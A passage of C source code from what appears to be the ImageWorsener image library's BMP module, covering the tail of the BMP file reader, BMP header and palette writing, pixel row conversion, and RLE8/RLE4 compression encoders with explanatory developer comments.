rctx->bf_bits_count[1]!=8 || rctx->bf_bits_count[2]!=8 || (IW_IMGTYPE_HAS_ALPHA(rctx->img->imgtype) && rctx->bf_bits_count[3]!=8)) { iw_set_input_max_color_code(ctx,0, (1 << rctx->bf_bits_count[0])-1 ); iw_set_input_max_color_code(ctx,1, (1 << rctx->bf_bits_count[1])-1 ); iw_set_input_max_color_code(ctx,2, (1 << rctx->bf_bits_count[2])-1 ); if(IW_IMGTYPE_HAS_ALPHA(rctx->img->imgtype)) { iw_set_input_max_color_code(ctx,3, (1 << rctx->bf_bits_count[3])-1 ); } } } } IW_IMPL(int) iw_read_bmp_file(struct iw_context *ctx, struct iw_iodescr *iodescr) { struct iwbmprcontext rctx; struct iw_image img; int retval = 0; iw_zeromem(&rctx,sizeof(struct iwbmprcontext)); iw_zeromem(&img,sizeof(struct iw_image)); rctx.ctx = ctx; rctx.img = &img; rctx.iodescr = iodescr; // Start with a default sRGB colorspace. This may be overridden later. iw_make_srgb_csdescr_2(&rctx.csdescr); rctx.has_fileheader = !iw_get_value(ctx,IW_VAL_BMP_NO_FILEHEADER); if(rctx.has_fileheader) { if(!iwbmp_read_file_header(&rctx)) goto done; } if(!iwbmp_read_info_header(&rctx)) goto done; iwbmp_set_default_bitfields(&rctx); if(rctx.bitfields_nbytes>0) { if(!iwbmp_read_bitfields(&rctx)) goto done; } if(rctx.palette_entries>0) { if(!iwbmp_read_palette(&rctx)) goto done; } if(!iwbmp_read_bits(&rctx)) goto done; iw_set_input_image(ctx, &img); iwbmpr_misc_config(ctx, &rctx); retval = 1; done: if(!retval) { iw_set_error(ctx,"BMP read failed"); // If we didn't call iw_set_input_image, 'img' still belongs to us, // so free its contents. iw_free(ctx, img.pixels); } return retval; } struct iwbmpwcontext { int bmpversion; int include_file_header; int bitcount; int palentries; int compressed; int uses_bitfields; size_t header_size; size_t bitfields_size; size_t palsize; size_t unc_dst_bpr; size_t unc_bitssize; struct iw_iodescr *iodescr; struct iw_context *ctx; struct iw_image *img; const struct iw_palette *pal; size_t total_written; int bf_amt_to_shift[4]; // For 16-bit images unsigned int bf_mask[4]; unsigned int maxcolor[4]; // R, G, B -- For 16-bit images. struct iw_csdescr csdescr; int no_cslabel; }; static void iwbmp_write(struct iwbmpwcontext *wctx, const void *buf, size_t n) { (*wctx->iodescr->write_fn)(wctx->ctx,wctx->iodescr,buf,n); wctx->total_written+=n; } static void bmpw_convert_row_1(const iw_byte *srcrow, iw_byte *dstrow, int width) { int i; int m; for(i=0;i<width;i++) { m = i%8; if(m==0) dstrow[i/8] = srcrow[i]<<7; else dstrow[i/8] |= srcrow[i]<<(7-m); } } static void bmpw_convert_row_4(const iw_byte *srcrow, iw_byte *dstrow, int width) { int i; for(i=0;i<width;i++) { if(i%2==0) dstrow[i/2] = srcrow[i]<<4; else dstrow[i/2] |= srcrow[i]; } } static void bmpw_convert_row_8(const iw_byte *srcrow, iw_byte *dstrow, int width) { memcpy(dstrow,srcrow,width); } static void bmpw_convert_row_16_32(struct iwbmpwcontext *wctx, const iw_byte *srcrow, iw_byte *dstrow, int width) { int i,k; unsigned int v; int num_src_samples; unsigned int src_sample[4]; for(k=0;k<4;k++) src_sample[k]=0; num_src_samples = iw_imgtype_num_channels(wctx->img->imgtype); for(i=0;i<width;i++) { // Read the source samples into a convenient format. for(k=0;k<num_src_samples;k++) { if(wctx->img->bit_depth==16) { src_sample[k] = (srcrow[num_src_samples*2*i + k*2]<<8) | srcrow[num_src_samples*2*i + k*2 +1]; } else { src_sample[k] = srcrow[num_src_samples*i + k]; } } // Pack the pixels' bits into a single int. switch(wctx->img->imgtype) { case IW_IMGTYPE_GRAY: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[0] << wctx->bf_amt_to_shift[1]; v |= src_sample[0] << wctx->bf_amt_to_shift[2]; break; case IW_IMGTYPE_RGBA: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[1] << wctx->bf_amt_to_shift[1]; v |= src_sample[2] << wctx->bf_amt_to_shift[2]; v |= src_sample[3] << wctx->bf_amt_to_shift[3]; break; case IW_IMGTYPE_GRAYA: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[0] << wctx->bf_amt_to_shift[1]; v |= src_sample[0] << wctx->bf_amt_to_shift[2]; v |= src_sample[1] << wctx->bf_amt_to_shift[3]; break; default: v = src_sample[0] << wctx->bf_amt_to_shift[0]; v |= src_sample[1] << wctx->bf_amt_to_shift[1]; v |= src_sample[2] << wctx->bf_amt_to_shift[2]; } // Split the int into bytes, and write it to the target image. if(wctx->bitcount==32) { dstrow[i*4+0] = (iw_byte)(v&0xff); dstrow[i*4+1] = (iw_byte)((v&0x0000ff00)>>8); dstrow[i*4+2] = (iw_byte)((v&0x00ff0000)>>16); dstrow[i*4+3] = (iw_byte)((v&0xff000000)>>24); } else { dstrow[i*2+0] = (iw_byte)(v&0xff); dstrow[i*2+1] = (iw_byte)(v>>8); } } } static void bmpw_convert_row_24(struct iwbmpwcontext *wctx, const iw_byte *srcrow, iw_byte *dstrow, int width) { int i; if(wctx->img->imgtype==IW_IMGTYPE_GRAY) { for(i=0;i<width;i++) { dstrow[i*3+0] = srcrow[i]; dstrow[i*3+1] = srcrow[i]; dstrow[i*3+2] = srcrow[i]; } } else { // RGB for(i=0;i<width;i++) { dstrow[i*3+0] = srcrow[i*3+2]; dstrow[i*3+1] = srcrow[i*3+1]; dstrow[i*3+2] = srcrow[i*3+0]; } } } static void iwbmp_write_file_header(struct iwbmpwcontext *wctx) { iw_byte fileheader[14]; if(!wctx->include_file_header) return; iw_zeromem(fileheader,sizeof(fileheader)); fileheader[0] = 66; // 'B' fileheader[1] = 77; // 'M' // This will be overwritten later, if the bitmap was compressed. iw_set_ui32le(&fileheader[ 2], (unsigned int)(14+wctx->header_size+ wctx->bitfields_size+wctx->palsize+wctx->unc_bitssize)); // bfSize iw_set_ui32le(&fileheader[10],(unsigned int)(14+wctx->header_size+ wctx->bitfields_size+wctx->palsize)); // bfOffBits iwbmp_write(wctx,fileheader,14); } static int iwbmp_write_bmp_v2header(struct iwbmpwcontext *wctx) { iw_byte header[12]; if(wctx->img->width>65535 || wctx->img->height>65535) { iw_set_error(wctx->ctx,"Output image is too large for this BMP version"); return 0; } iw_zeromem(header,sizeof(header)); iw_set_ui32le(&header[ 0],12); // bcSize iw_set_ui16le(&header[ 4],wctx->img->width); // bcWidth iw_set_ui16le(&header[ 6],wctx->img->height); // bcHeight iw_set_ui16le(&header[ 8],1); // bcPlanes iw_set_ui16le(&header[10],wctx->bitcount); // bcBitCount iwbmp_write(wctx,header,12); return 1; } static int iwbmp_write_bmp_v3header(struct iwbmpwcontext *wctx) { unsigned int dens_x, dens_y; unsigned int cmpr; iw_byte header[40]; iw_zeromem(header,sizeof(header)); iw_set_ui32le(&header[ 0],(unsigned int)wctx->header_size); // biSize iw_set_ui32le(&header[ 4],wctx->img->width); // biWidth iw_set_ui32le(&header[ 8],wctx->img->height); // biHeight iw_set_ui16le(&header[12],1); // biPlanes iw_set_ui16le(&header[14],wctx->bitcount); // biBitCount cmpr = IWBMP_BI_RGB; if(wctx->compressed) { if(wctx->bitcount==8) cmpr = IWBMP_BI_RLE8; else if(wctx->bitcount==4) cmpr = IWBMP_BI_RLE4; } else if(wctx->uses_bitfields) { cmpr = IWBMP_BI_BITFIELDS; } iw_set_ui32le(&header[16],cmpr); // biCompression iw_set_ui32le(&header[20],(unsigned int)wctx->unc_bitssize); // biSizeImage if(wctx->img->density_code==IW_DENSITY_UNITS_PER_METER) { dens_x = (unsigned int)(0.5+wctx->img->density_x); dens_y = (unsigned int)(0.5+wctx->img->density_y); } else { dens_x = dens_y = 2835; } iw_set_ui32le(&header[24],dens_x); // biXPelsPerMeter iw_set_ui32le(&header[28],dens_y); // biYPelsPerMeter iw_set_ui32le(&header[32],wctx->palentries); // biClrUsed //iw_set_ui32le(&header[36],0); // biClrImportant iwbmp_write(wctx,header,40); return 1; } static int iwbmp_write_bmp_v45header_fields(struct iwbmpwcontext *wctx) { iw_byte header[124]; unsigned int intent_bmp_style; iw_zeromem(header,sizeof(header)); if(wctx->uses_bitfields) { iw_set_ui32le(&header[40],wctx->bf_mask[0]); iw_set_ui32le(&header[44],wctx->bf_mask[1]); iw_set_ui32le(&header[48],wctx->bf_mask[2]); iw_set_ui32le(&header[52],wctx->bf_mask[3]); } // Colorspace Type // TODO: We could support CSTYPE_GAMMA by using LCS_CALIBRATED_RGB, // but documentation about how to do that is hard to find. if(wctx->csdescr.cstype==IW_CSTYPE_SRGB && !wctx->no_cslabel) iw_set_ui32le(&header[56],IWBMPCS_SRGB); else iw_set_ui32le(&header[56],IWBMPCS_DEVICE_RGB); // Intent //intent_bmp_style = 4; // Perceptual //if(wctx->csdescr.cstype==IW_CSTYPE_SRGB && !wctx->no_cslabel) { switch(wctx->img->rendering_intent) { case IW_INTENT_PERCEPTUAL: intent_bmp_style = 4; break; case IW_INTENT_RELATIVE: intent_bmp_style = 2; break; case IW_INTENT_SATURATION: intent_bmp_style = 1; break; case IW_INTENT_ABSOLUTE: intent_bmp_style = 8; break; default: intent_bmp_style = 4; } //} iw_set_ui32le(&header[108],intent_bmp_style); iwbmp_write(wctx,&header[40],124-40); return 1; } static int iwbmp_write_bmp_header(struct iwbmpwcontext *wctx) { if(wctx->bmpversion==2) { return iwbmp_write_bmp_v2header(wctx); } else if(wctx->bmpversion==5) { if(!iwbmp_write_bmp_v3header(wctx)) return 0; return iwbmp_write_bmp_v45header_fields(wctx); } return iwbmp_write_bmp_v3header(wctx); } // Given wctx->maxcolor[*], sets -> bf_mask[*] and bf_amt_to_shift[*], // and sets wctx->bitcount (to 16 or 32). static int iwbmp_calc_bitfields_masks(struct iwbmpwcontext *wctx, int num_masks) { int k; int bits[4]; // R, G, B, A int tot_bits = 0; for(k=0;k<num_masks;k++) { bits[k] = iw_max_color_to_bitdepth(wctx->maxcolor[k]); tot_bits += bits[k]; } if(tot_bits > 32) { iw_set_error(wctx->ctx,"Cannot write a BMP image in this color format"); return 0; } wctx->bitcount = (tot_bits>16) ? 32 : 16; wctx->bf_amt_to_shift[0] = bits[1] + bits[2]; wctx->bf_amt_to_shift[1] = bits[2]; wctx->bf_amt_to_shift[2] = 0; if(num_masks>3) wctx->bf_amt_to_shift[3] = bits[0] + bits[1] + bits[2]; for(k=0;k<num_masks;k++) { wctx->bf_mask[k] = wctx->maxcolor[k] << wctx->bf_amt_to_shift[k]; } return 1; } // Write the BITFIELDS segment, and set the wctx->bf_amt_to_shift[] values. static int iwbmp_write_bitfields(struct iwbmpwcontext *wctx) { iw_byte buf[12]; int k; if(wctx->bitcount!=16 && wctx->bitcount!=32) return 0; for(k=0;k<3;k++) { iw_set_ui32le(&buf[4*k],wctx->bf_mask[k]); } iwbmp_write(wctx,buf,12); return 1; } static void iwbmp_write_palette(struct iwbmpwcontext *wctx) { int i,k; iw_byte buf[4]; if(wctx->palentries<1) return; buf[3] = 0; // Reserved field; always 0. for(i=0;i<wctx->palentries;i++) { if(i<wctx->pal->num_entries) { if(wctx->pal->entry[i].a == 0) { // A transparent color. Because of the way we handle writing // transparent BMP images, the first palette entry may be a // fully transparent color, whose index will not be used when // we write the image. But many apps will interpret our // "transparent" pixels as having color #0. So, set it to // the background label color if available, otherwise to an // arbitrary high-contrast color (magenta). if(wctx->img->has_bkgdlabel) { for(k=0;k<3;k++) { buf[k] = (iw_byte)iw_color_get_int_sample(&wctx->img->bkgdlabel,2-k,255); } } else { buf[0] = 255; buf[1] = 0; buf[2] = 255; } } else { buf[0] = wctx->pal->entry[i].b; buf[1] = wctx->pal->entry[i].g; buf[2] = wctx->pal->entry[i].r; } } else { buf[0] = buf[1] = buf[2] = 0; } if(wctx->bmpversion==2) iwbmp_write(wctx,buf,3); // v2 BMPs don't have the 'reserved' field. else iwbmp_write(wctx,buf,4); } } struct rle_context { struct iw_context *ctx; struct iwbmpwcontext *wctx; const iw_byte *srcrow; size_t img_width; int cur_row; // current row; 0=top (last) // Position in srcrow of the first byte that hasn't been written to the // output file size_t pending_data_start; // Current number of uncompressible bytes that haven't been written yet // (starting at pending_data_start) size_t unc_len; // Current number of identical bytes that haven't been written yet // (starting at pending_data_start+unc_len) size_t run_len; // The value of the bytes referred to by run_len. // Valid if run_len>0. iw_byte run_byte; size_t total_bytes_written; // Bytes written, after compression }; //============================ RLE8 encoder ============================ // TODO: The RLE8 and RLE4 encoders are more different than they should be. // The RLE8 encoder could probably be made more similar to the (more // complicated) RLE4 encoder. static void rle8_write_unc(struct rle_context *rlectx) { size_t i; iw_byte dstbuf[2]; if(rlectx->unc_len<1) return; if(rlectx->unc_len>=3 && (rlectx->unc_len&1)) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 4"); return; } if(rlectx->unc_len>254) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 5"); return; } if(rlectx->unc_len<3) { // The minimum length for a noncompressed run is 3. For shorter runs // write them "compressed". for(i=0;i<rlectx->unc_len;i++) { dstbuf[0] = 0x01; // count dstbuf[1] = rlectx->srcrow[i+rlectx->pending_data_start]; // value iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; } } else { dstbuf[0] = 0x00; dstbuf[1] = (iw_byte)rlectx->unc_len; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; iwbmp_write(rlectx->wctx,&rlectx->srcrow[rlectx->pending_data_start],rlectx->unc_len); rlectx->total_bytes_written+=rlectx->unc_len; if(rlectx->unc_len&0x1) { // Need a padding byte if the length was odd. (This shouldn't // happen, because we never write odd-length UNC segments.) dstbuf[0] = 0x00; iwbmp_write(rlectx->wctx,dstbuf,1); rlectx->total_bytes_written+=1; } } rlectx->pending_data_start+=rlectx->unc_len; rlectx->unc_len=0; } static void rle8_write_unc_and_run(struct rle_context *rlectx) { iw_byte dstbuf[2]; rle8_write_unc(rlectx); if(rlectx->run_len<1) { return; } if(rlectx->run_len>255) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 6"); return; } dstbuf[0] = (iw_byte)rlectx->run_len; dstbuf[1] = rlectx->run_byte; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; rlectx->pending_data_start+=rlectx->run_len; rlectx->run_len=0; } static void rle_write_trns(struct rle_context *rlectx, int num_trns) { iw_byte dstbuf[4]; int num_remaining = num_trns; int num_to_write; while(num_remaining>0) { num_to_write = num_remaining; if(num_to_write>255) num_to_write=255; dstbuf[0]=0x00; // 00 02 = Delta dstbuf[1]=0x02; dstbuf[2]=(iw_byte)num_to_write; // X offset dstbuf[3]=0x00; // Y offset iwbmp_write(rlectx->wctx,dstbuf,4); rlectx->total_bytes_written+=4; num_remaining -= num_to_write; } rlectx->pending_data_start += num_trns; } // The RLE format used by BMP files is pretty simple, but I've gone to some // effort to optimize it for file size, which makes for a complicated // algorithm. // The overall idea: // We defer writing data until certain conditions are met. In the meantime, // we split the unwritten data into two segments: // "UNC": data classified as uncompressible // "RUN": data classified as compressible. All bytes in this segment must be // identical. // The RUN segment always follows the UNC segment. // For each byte in turn, we examine the current state, and do one of a number // of things, such as: // - add it to RUN // - add it to UNC (if there is no RUN) // - move RUN into UNC, then add it to RUN (or to UNC) // - move UNC and RUN to the file, then make it the new RUN // Then, we check to see if we've accumulated enough data that something needs // to be written out. static int rle8_compress_row(struct rle_context *rlectx) { size_t i; iw_byte dstbuf[2]; iw_byte next_byte; int next_pix_is_trns; int num_trns = 0; // number of consecutive transparent pixels seen int retval = 0; rlectx->pending_data_start=0; rlectx->unc_len=0; rlectx->run_len=0; for(i=0;i<rlectx->img_width;i++) { // Read the next byte. next_byte = rlectx->srcrow[i]; next_pix_is_trns = (rlectx->wctx->pal->entry[next_byte].a==0); if(num_trns>0 && !next_pix_is_trns) { rle_write_trns(rlectx,num_trns); num_trns=0; } else if(next_pix_is_trns) { if (rlectx->unc_len>0 || rlectx->run_len>0) { rle8_write_unc_and_run(rlectx); } num_trns++; continue; } // -------------------------------------------------------------- // Add the byte we just read to either the UNC or the RUN data. if(rlectx->run_len>0 && next_byte==rlectx->run_byte) { // Byte fits in the current run; add it. rlectx->run_len++; } else if(rlectx->run_len==0) { // We don't have a RUN, so we can put this byte there. rlectx->run_len = 1; rlectx->run_byte = next_byte; } else if(rlectx->unc_len==0 && rlectx->run_len==1) { // We have one previous byte, and it's different from this one. // Move it to UNC, and make this one the RUN. rlectx->unc_len++; rlectx->run_byte = next_byte; } else if(rlectx->unc_len>0 && rlectx->run_len<(rlectx->unc_len==1 ? 3U : 4U)) { // We have a run, but it's not long enough to be beneficial. // Convert it to uncompressed bytes. // A good rule is that a run length of 4 or more (3 or more if // unc_len=1) should always be run-legth encoded. rlectx->unc_len += rlectx->run_len; rlectx->run_len = 0; // If UNC is now odd and >1, add the next byte to it to make it even. // Otherwise, add it to RUN. if(rlectx->unc_len>=3 && (rlectx->unc_len&0x1)) { rlectx->unc_len++; } else { rlectx->run_len = 1; rlectx->run_byte = next_byte; } } else { // Nowhere to put the byte: write out everything, and start fresh. rle8_write_unc_and_run(rlectx); rlectx->run_len = 1; rlectx->run_byte = next_byte; } // -------------------------------------------------------------- // If we hit certain high water marks, write out the current data. if(rlectx->unc_len>=254) { // Our maximum size for an UNC segment. rle8_write_unc(rlectx); } else if(rlectx->unc_len>0 && (rlectx->unc_len+rlectx->run_len)>254) { // It will not be possible to coalesce the RUN into the UNC (it // would be too big) so write out the UNC. rle8_write_unc(rlectx); } else if(rlectx->run_len>=255) { // The maximum size for an RLE segment. rle8_write_unc_and_run(rlectx); } // -------------------------------------------------------------- // Sanity checks. These can be removed if we're sure the algorithm // is bug-free. // We don't allow unc_len to be odd (except temporarily), except // that it can be 1. // What's special about 1 is that if we add another byte to it, it // increases the cost. For 3,5,...,253, we can add another byte for // free, so we should never fail to do that. if((rlectx->unc_len&0x1) && rlectx->unc_len!=1) { iw_set_errorf(rlectx->ctx,"Internal: BMP RLE encode error 1"); goto done; } // unc_len can be at most 252 at this point. // If it were 254, it should have been written out already. if(rlectx->unc_len>252) { iw_set_error(rlectx->ctx,"Internal: BMP RLE encode error 2"); goto done; } // run_len can be at most 254 at this point. // If it were 255, it should have been written out already. if(rlectx->run_len>254) { iw_set_error(rlectx->ctx,"Internal: BMP RLE encode error 3"); goto done; } } // End of row. Write out anything left over. rle8_write_unc_and_run(rlectx); // Write an end-of-line marker (0 0), or if this is the last row, // an end-of-bitmap marker (0 1). dstbuf[0]=0x00; dstbuf[1]= (rlectx->cur_row==0)? 0x01 : 0x00; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; retval = 1; done: return retval; } //============================ RLE4 encoder ============================ // Calculate the most efficient way to split a run of uncompressible pixels. // This only finds the first place to split the run. If the run is still // over 255 pixels, call it again to find the next split. static size_t rle4_get_best_unc_split(size_t n) { // For <=255 pixels, we can never do better than storing it as one run. if(n<=255) return n; // With runs of 252, we can store 252/128 = 1.96875 pixels/byte. // With runs of 255, we can store 255/130 = 1.96153 pixels/byte. // Hence, using runs of 252 is the most efficient way to store a large // number of uncompressible pixels. // (Lengths other than 252 or 255 are no help.) // However, there are three exceptional cases where, if we split at 252, // the most efficient encoding will no longer be possible: if(n==257 || n==510 || n==765) return 255; return 252; } // Returns the incremental cost of adding a pixel to the current UNC // (which is always either 0 or 2). // To derive this function, I calculated the optimal cost of every length, // and enumerated the exceptions to the (n%4)?0:2 rule. // The exceptions are mostly caused by the cases where // rle4_get_best_unc_split() returns 255 instead of 252. static int rle4_get_incr_unc_cost(struct rle_context *rlectx) { int n; int m; n = (int)rlectx->unc_len; if(n==2 || n==255 || n==257 || n==507 || n==510) return 2; if(n==256 || n==508) return 0; if(n>=759) { m = n%252; if(m==3 || m==6 || m==9) return 2; if(m==4 || m==8) return 0; } return (n%4)?0:2; } static void rle4_write_unc(struct rle_context *rlectx) { iw_byte dstbuf[128]; size_t pixels_to_write; size_t bytes_to_write; if(rlectx->unc_len<1) return; // Note that, unlike the RLE8 encoder, we allow this function to be called // with uncompressed runs of arbitrary length. while(rlectx->unc_len>0) { pixels_to_write = rle4_get_best_unc_split(rlectx->unc_len); if(pixels_to_write<3) { // The minimum length for an uncompressed run is 3. For shorter runs // write them "compressed". dstbuf[0] = (iw_byte)pixels_to_write; dstbuf[1] = (rlectx->srcrow[rlectx->pending_data_start]<<4); if(pixels_to_write>1) dstbuf[1] |= (rlectx->srcrow[rlectx->pending_data_start+1]); // The actual writing will occur below. Just indicate how many bytes // of dstbuf[] to write. bytes_to_write = 2; } else { size_t i; // Write the length of the uncompressed run. dstbuf[0] = 0x00; dstbuf[1] = (iw_byte)pixels_to_write; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; // Put the data to write in dstbuf[]. bytes_to_write = 2*((pixels_to_write+3)/4); iw_zeromem(dstbuf,bytes_to_write); for(i=0;i<pixels_to_write;i++) { if(i&0x1) dstbuf[i/2] |= rlectx->srcrow[rlectx->pending_data_start+i]; else dstbuf[i/2] = rlectx->srcrow[rlectx->pending_data_start+i]<<4; } } iwbmp_write(rlectx->wctx,dstbuf,bytes_to_write); rlectx->total_bytes_written += bytes_to_write; rlectx->unc_len -= pixels_to_write; rlectx->pending_data_start += pixels_to_write; } } static void rle4_write_unc_and_run(struct rle_context *rlectx) { iw_byte dstbuf[2]; rle4_write_unc(rlectx); if(rlectx->run_len<1) { return; } if(rlectx->run_len>255) { iw_set_error(rlectx->ctx,"Internal: RLE encode error 6"); return; } dstbuf[0] = (iw_byte)rlectx->run_len; dstbuf[1] = rlectx->run_byte; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; rlectx->pending_data_start+=rlectx->run_len; rlectx->run_len=0; } // Should we move the pending compressible data to the "uncompressed" // segment (return 1), or should we write it to disk as a compressed run of // pixels (0)? static int ok_to_move_to_unc(struct rle_context *rlectx) { // This logic is probably not optimal in every case. // One possible improvement might be to adjust the thresholds when // unc_len+run_len is around 255 or higher. // Other improvements might require looking ahead at pixels we haven't // read yet. if(rlectx->unc_len==0) { return (rlectx->run_len<4); } else if(rlectx->unc_len<=2) { return (rlectx->run_len<6); } else { return (rlectx->run_len<8); } return 0; } static int rle4_compress_row(struct rle_context *rlectx) { size_t i; iw_byte dstbuf[2]; iw_byte next_pix; int next_pix_is_trns; int num_trns = 0; // number of consecutive transparent pixels seen int retval = 0; iw_byte tmpb; rlectx->pending_data_start=0; rlectx->unc_len=0; rlectx->run_len=0; for(i=0;i<rlectx->img_width;i++) { // Read the next pixel next_pix = rlectx->srcrow[i]; next_pix_is_trns = (rlectx->wctx->pal->entry[next_pix].a==0); if(num_trns>0 && !next_pix_is_trns) { rle_write_trns(rlectx,num_trns); num_trns=0; } else if(next_pix_is_trns) { if (rlectx->unc_len>0 || rlectx->run_len>0) { rle4_write_unc_and_run(rlectx); } num_trns++; continue; } // -------------------------------------------------------------- // Add the pixel we just read to either the UNC or the RUN data. if(rlectx->run_len==0) { // We don't have a RUN, so we can put this pixel there. rlectx->run_len = 1; rlectx->run_byte = next_pix<<4; } else if(rlectx->run_len==1) { // If the run is 1, we can always add a 2nd pixel rlectx->run_byte |= next_pix; rlectx->run_len++; } else if(rlectx->run_len>=2 && (rlectx->run_len&1)==0 && next_pix==(rlectx->run_byte>>4)) { // pixel fits in the current run; add it. rlectx->run_len++; } else if(rlectx->run_len>=3 && (rlectx->run_len&1) && next_pix==(rlectx->run_byte&0x0f)) { // pixel fits in the current run; add it. rlectx->run_len++; } else if(rlectx->unc_len==0 && rlectx->run_len==2) { // We have one previous byte, and it's different from this one. // Move it to UNC, and make this one the RUN. rlectx->unc_len+=rlectx->run_len; rlectx->run_byte = next_pix<<4; rlectx->run_len = 1; } else if(ok_to_move_to_unc(rlectx)) { // We have a compressible run, but we think it's not long enough to be // beneficial. Convert it to uncompressed bytes -- except for the last // pixel, which can be left in the run. rlectx->unc_len += rlectx->run_len-1; if((rlectx->run_len&1)==0) rlectx->run_byte = (rlectx->run_byte&0x0f)<<4; else rlectx->run_byte = (rlectx->run_byte&0xf0); // Put the next byte in RLE. (It might get moved to UNC, below.) rlectx->run_len = 2; rlectx->run_byte |= next_pix; } else { // Nowhere to put the byte: write out everything, and start fresh. rle4_write_unc_and_run(rlectx); rlectx->run_len = 1; rlectx->run_byte = next_pix<<4; } // -------------------------------------------------------------- // If any RUN bytes that can be added to UNC for free, do so. while(rlectx->unc_len>0 && rlectx->run_len>0 && rle4_get_incr_unc_cost(rlectx)==0) { rlectx->unc_len++; rlectx->run_len--; tmpb = rlectx->run_byte; // Reverse the two pixels stored in run_byte. rlectx->run_byte = (tmpb>>4) | ((tmpb&0x0f)<<4); if(rlectx->run_len==1) rlectx->run_byte &= 0xf0; } // -------------------------------------------------------------- // If we hit certain high water marks, write out the current data. if(rlectx->run_len>=255) { // The maximum size for an RLE segment. rle4_write_unc_and_run(rlectx); } // -------------------------------------------------------------- // Sanity check(s). This can be removed if we're sure the algorithm // is bug-free. // run_len can be at most 254 at this point. // If it were 255, it should have been written out already. if(rlectx->run_len>255) { iw_set_error(rlectx->ctx,"Internal: BMP RLE encode error 3"); goto done; } } // End of row. Write out anything left over. rle4_write_unc_and_run(rlectx); // Write an end-of-line marker (0 0), or if this is the last row, // an end-of-bitmap marker (0 1). dstbuf[0]=0x00; dstbuf[1]= (rlectx->cur_row==0)? 0x01 : 0x00; iwbmp_write(rlectx->wctx,dstbuf,2); rlectx->total_bytes_written+=2; retval = 1; done: return retval; } //====================================================================== // Seek back and write the "file size" and "bits size" fields. static int rle_patch_file_size(struct iwbmpwcontext *wctx,size_t rlesize) { iw_byte buf[4]; size_t fileheader_size; int ret; if(!wctx->iodescr->seek_fn) { iw_set_error(wctx->ctx,"Writing compressed BMP requires a seek function"); return 0; } if(wctx->include_file_header) { // Patch the file size in the file header ret=(*wctx->iodescr->seek_fn)(wctx->ctx,wctx->iodescr,2,SEEK_SET); if(!ret) return 0; iw_set_ui32le(buf,(unsigned int)(14+wctx->header_size+wctx->bitfields_size+wctx->palsize+rlesize)); iwbmp_write(wctx,buf,4); fileheader_size = 14; } else { fileheader_size = 0; } // Patch the "bits" size ret=(*wctx->iodescr->seek_fn)(wctx->ctx,wctx->iodescr,fileheader_size+20,SEEK_SET); if(!ret) return 0; iw_set_ui32le(buf,(unsigned int)rlesize); iwbmp_write(wctx,buf,4); (*wctx->iodescr->seek_fn)(wctx->ctx,wctx->iodescr,0,SEEK_END); return 1; } static int iwbmp_write_pixels_compressed(struct iwbmpwcontext *wctx, struct iw_image *img) { struct rle_context rlectx; int j; int retval = 0; iw_zeromem(&rlectx,sizeof(struct rle_context)); rlectx.ctx = wctx->ctx; rlectx.wctx = wctx; rlectx.total_bytes_written = 0; rlectx.img_width = img->width; for(j=img->height-1;j>=0;j--) { // Compress and write a row of pixels rlectx.srcrow = &img->pixels[j*img->bpr]; rlectx.cur_row = j; if(wctx->bitcount==4) { if(!rle4_compress_row(&rlectx)) goto done; } else if(wctx->bitcount==8) { if(!rle8_compress_row(&rlectx)) goto done; } else { goto done; } } // Back-patch the 'file size' and 'bits size' fields if(!rle_patch_file_size(wctx,rlectx.total_bytes_written)) goto done; retval = 1; done: return retval; } static void iwbmp_write_pixels_uncompressed(struct iwbmpwcontext *wctx, struct iw_image *img) { int j; iw_byte *dstrow = NULL; const iw_byte *srcrow; dstrow = iw_mallocz(wctx->ctx,wctx->unc_dst_bpr); if(!dstrow) goto done; for(j=img->height-1;j>=0;j--) { srcrow = &img->pixels[j*img->bpr]; switch(wctx->bitcount) { case 32: bmpw_convert_row_16_32(wctx,srcrow,dstrow,img->width); break; case 24: bmpw_convert_row_24(wctx,srcrow,dstrow,img->width); break; case 16: bmpw_convert_row_16_32(wctx,srcrow,dstrow,img->width); break; case 8: bmpw_convert_row_8(srcrow,dstrow,img->width); break; case 4: bmpw_convert_row_4(srcrow,dstrow,img->width); break; case 1: bmpw_convert_row_1(srcrow,dstrow,img->width); break; } iwbmp_write(wctx,dstrow,wctx->unc_dst_bpr); } done: if(dstrow) iw_free(wctx->ctx,dstrow); return; } // 0 = no transparency // 1 = binary transparency // 2 = partial transparency static int check_palette_transparency(const struct iw_palette *p) { int i; int retval = 0; for(i=0;i<p->num_entries;i++) { if(p->entry[i].a!=255) retval=1; if(p->entry[i].a!=255 && p->entry[i].a!=0) return 2; } return retval; } // Do some preparations needed to write a 16-bit or 32-bit BMP. static int setup_16_32bit(struct iwbmpwcontext *wctx, int mcc_r, int mcc_g, int mcc_b, int mcc_a) { int has_alpha; has_alpha = IW_IMGTYPE_HAS_ALPHA(wctx->img->imgtype); if(wctx->bmpversion<3) { iw_set_errorf(wctx->ctx,"Bit depth incompatible with BMP version %d", wctx->bmpversion); return 0; } if(has_alpha && wctx->bmpversion<5) { iw_set_error(wctx->ctx,"Internal: Attempt to write v3 16- or 32-bit image with transparency"); return 0; } // Make our own copy of the max color codes, so that we don't have to // do "if(grayscale)" so much. wctx->maxcolor[0] = mcc_r; wctx->maxcolor[1] = mcc_g; wctx->maxcolor[2] = mcc_b; if(has_alpha) wctx->maxcolor[3] = mcc_a; if(!iwbmp_calc_bitfields_masks(wctx,has_alpha?4:3)) return 0; if(mcc_r==31 && mcc_g==31 && mcc_b==31 && !has_alpha) { // For the default 5-5-5, set the 'compression' to BI_RGB // instead of BITFIELDS, and don't write a BITFIELDS segment // (or for v5 BMP, don't set the Mask fields). wctx->bitfields_size = 0; } else { wctx->uses_bitfields = 1; wctx->bitfields_size = (wctx->bmpversion==3) ? 12 : 0; } return 1; } static int iwbmp_write_main(struct iwbmpwcontext *wctx) { struct iw_image *img; int 